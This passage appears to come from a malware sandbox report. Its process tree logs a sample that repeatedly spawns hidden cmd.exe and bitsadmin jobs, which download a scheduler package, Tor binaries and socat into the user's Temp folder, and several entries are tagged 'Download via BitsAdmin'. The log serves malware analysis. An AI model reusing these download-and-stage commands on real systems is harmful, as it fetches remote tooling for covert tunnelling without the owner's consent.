      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1800
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1760
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1120
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1784
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1556
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1260
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1652
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1864
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:956
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1436
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:2012
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1096
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:808
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1644
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:908
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1720
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1744
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:432
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1392
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1308
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:740
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:632
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1756
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:808
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:836
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1760
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1260
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1920
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1864
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1692
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1784
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:992
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:2004
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1620
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:632
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:2020
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1740
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1580
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1920
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1040
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1156
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:608
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1104
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:940
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1820
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1600
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1740
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1096
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:2000
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1752
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://dist.torproject.org/torbrowser/7.0.11/tor-win32-0.3.1.9.zip" "C:\Users\Admin\AppData\Local\Temp\ILBP2W8eHU.zip"
      4⤵
      PID:1872
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://dist.torproject.org/torbrowser/7.0.11/tor-win32-0.3.1.9.zip" "C:\Users\Admin\AppData\Local\Temp\ILBP2W8eHU.zip"
        5⤵
        
        PID:1052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://torproject.mirror.metalgamer.eu/dist/torbrowser/7.0.11/tor-win32-0.3.1.9.zip" "C:\Users\Admin\AppData\Local\Temp\ILBP2W8eHU.zip"
      4⤵
      PID:2004
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://torproject.mirror.metalgamer.eu/dist/torbrowser/7.0.11/tor-win32-0.3.1.9.zip" "C:\Users\Admin\AppData\Local\Temp\ILBP2W8eHU.zip"
        5⤵
        
        PID:1832
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://tor.ybti.net/dist/torbrowser/7.0.11/tor-win32-0.3.1.9.zip" "C:\Users\Admin\AppData\Local\Temp\ILBP2W8eHU.zip"
      4⤵
      PID:936
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://tor.ybti.net/dist/torbrowser/7.0.11/tor-win32-0.3.1.9.zip" "C:\Users\Admin\AppData\Local\Temp\ILBP2W8eHU.zip"
        5⤵
        
        PID:972
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1748
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:668
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1260
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1920
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2020
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1360
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:2000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1060
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:980
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1944
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:936
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:2008
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1824
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1040
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1784
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1508
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1156
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1656
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:980
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2016
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1144
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1776
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:880
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2004
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1920
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1760
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2000
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:652
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:980
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1944
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:972
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1720
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1920
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1636
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:852
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1048
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:2012
  - - C:\Windows\SysWOW64\cmd.exe
